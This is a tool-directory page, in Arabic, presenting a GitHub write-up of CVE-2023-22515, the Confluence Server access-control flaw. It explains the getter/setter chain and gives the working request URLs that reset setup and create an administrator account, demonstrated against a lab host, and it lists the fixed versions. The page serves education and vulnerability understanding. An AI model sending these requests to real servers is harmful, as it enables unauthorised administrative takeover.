Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-22515 — ضعف التحكم بالوصول في خادم Confluence - CVE-2023-22515 | Kitploit
أدوات/GitHubGitHub/lucaspdiniz/cve-2023-22515
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHublucaspdiniz/cve-2023-22515

CVE-2023-22515

ضعف التحكم بالوصول في خادم Confluence - CVE-2023-22515

عرض المستودع
21منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة كونفلونس - CVE-2023-22515 📓

مقدمة

أُبلغت شركة أتلاسيان بوجود ثغرة أمنية محتملة قد يتم استغلالها واختراق البيئة عبر الوصول الإداري. في 4 أكتوبر 2023، أصدرت أتلاسيان تحذيرًا أمنيًا بخصوص CVE-2023-22515 والذي حصل على درجة 10.0. تم إدخال الثغرة في الإصدار 8.0.0 من Confluence Server وإصدارات Data Center، وتوجد في الإصدارات <8.3.3, <8.4.3, <8.5.2.

يمكن للمهاجم استغلال الثغرة لإنشاء حساب إضافي في كونفلونس بصلاحيات إدارية كاملة. لا يحتاج المهاجم إلى أي معلومات مسبقة لاستغلال الثغرة. يُعتقد أن الثغرة تمكن من هجمات أخرى غير معروفة ويجب تصحيحها في أقرب وقت ممكن.

شرح الاستغلال ⚠️

مع هذه الثغرة، يمكن للمهاجم العودة إلى مرحلة الإعداد في تكوين كونفلونس، مما يتيح له إنشاء مستخدم جديد بصلاحيات إدارية. كل هذا ممكن لأن كونفلونس مبني باستخدام إطار عمل Apache Struts، الذي يعتمد على حزمة XWork. تسمح XWork بتعريف الإجراءات (Actions) على شكل فئة Java. يمكن استدعاء كل إجراء عبر URL، وستقوم فئة Java المقابلة بمعالجة الطلب، وتنفيذ ما يتطلبه الإجراء، وإصدار استجابة.

تحدث هذه المشكلة بشكل رئيسي بسبب إجراء فئة (class action)، حيث يمكننا استدعاء السمات عبر URL.

  • تسلسل Getters/Setters لإعادة تمكين الإعداد الأولي

يتم الاستغلال في الإجراء ServerInfoAction، حيث يمكننا التلاعب بـ getters/setters الخاصة بالفئة وإعادة تعيين تكوين الإعداد.

إذا قمت بتحليل كود فئة ServerInfoAction، سترى أنها تمتد من فئة ConfluenceActionSupport. وبذلك، سترث جميع طرقها أيضًا. أحد هذه الطرق هو getter يُعيد كائن BootstrapStatusProvider:

root@kitploit:~
public class ConvolutionActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
  public BootstrapStatusProvider getBootstrapStatusProvider() {
    if (this.bootstrapStatusProvider == null)
      this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance(); 
    return this.bootstrapStatusProvider;
  }
}

نحن نهتم بفئة BootstrapStatusProvider لأنها تحتوي على طريقة getter أخرى يمكننا استخدامها للحصول على كائن ApplicationConfiguration:

root@kitploit:~
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
  public ApplicationConfiguration getApplicationConfig() {
    return this.delegate.getApplicationConfig();
  }
}

يحتوي هذا الكائن على تكوين التطبيق، بما في ذلك سمة تُخبر كونفلونس ما إذا كان الإعداد الأولي قد اكتمل. يمكن تعديل هذه السمة باستخدام setter في فئة ApplicationConfig:

root@kitploit:~
public class ApplicationConfig implements ApplicationConfiguration {
  public synchronized void setSetupComplete(boolean setupComplete) {
    this.setupComplete = setupComplete;
  }  
}

إذا تمكنا من استدعاء setSetupComplete(false)، يمكننا إعادة تعيين عملية إعداد التهيئة، ويمكننا فعل ذلك باستخدام طرق getters/setters كما يلي؛

root@kitploit:~
http://10.10.227.86:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

سيقوم عنوان URL هذا باستدعاء جميع الطرق التي ذكرناها أعلاه، والوصول إلى الطريقة الهدف المسؤولة عن إعادة تعيين الإعداد.

root@kitploit:~
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)

تطبيق عملي ✍️

أدناه، لدينا مثال لخادم بإصدار ضعيف من كونفلونس.

لنحاول إعادة تشغيل عملية الإعداد باستخدام استدعاء الطريقة كما هو موضح أعلاه؛

root@kitploit:~
http://atlassian.poc:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

بعد تعيين معامل setupcomplete إلى false، سنتلقى ردًا بالنجاح. هذا يعني أن محاولة تغيير المعامل كانت ناجحة.

  • إنشاء حساب إداري جديد 🔥

لنحاول إنشاء حساب جديد عن طريق الوصول إلى عنوان URL الخاص بالإعداد، والذي حاولنا إعادة تعيين العملية منه.

root@kitploit:~
http://atlassian.poc:8090/setup/setupadministrator-start.action

  • تم !!! ✔️

تمكنا من إعادة تعيين عملية الإعداد وإنشاء مستخدم جديد بصلاحيات إدارية.

التصحيح ✅

تم إصلاح الثغرة في الإصدارات 8.3.3 و 8.4.3 و 8.5.2. أي فروع إصدارات أحدث يجب أن تكون آمنة أيضًا.

لمزيد من التفاصيل، أصدرت أتلاسيان تفاصيل هذه الثغرة على موقعها الإلكتروني (لمزيد من التفاصيل - أتلاسيان).

تنزيل الأداة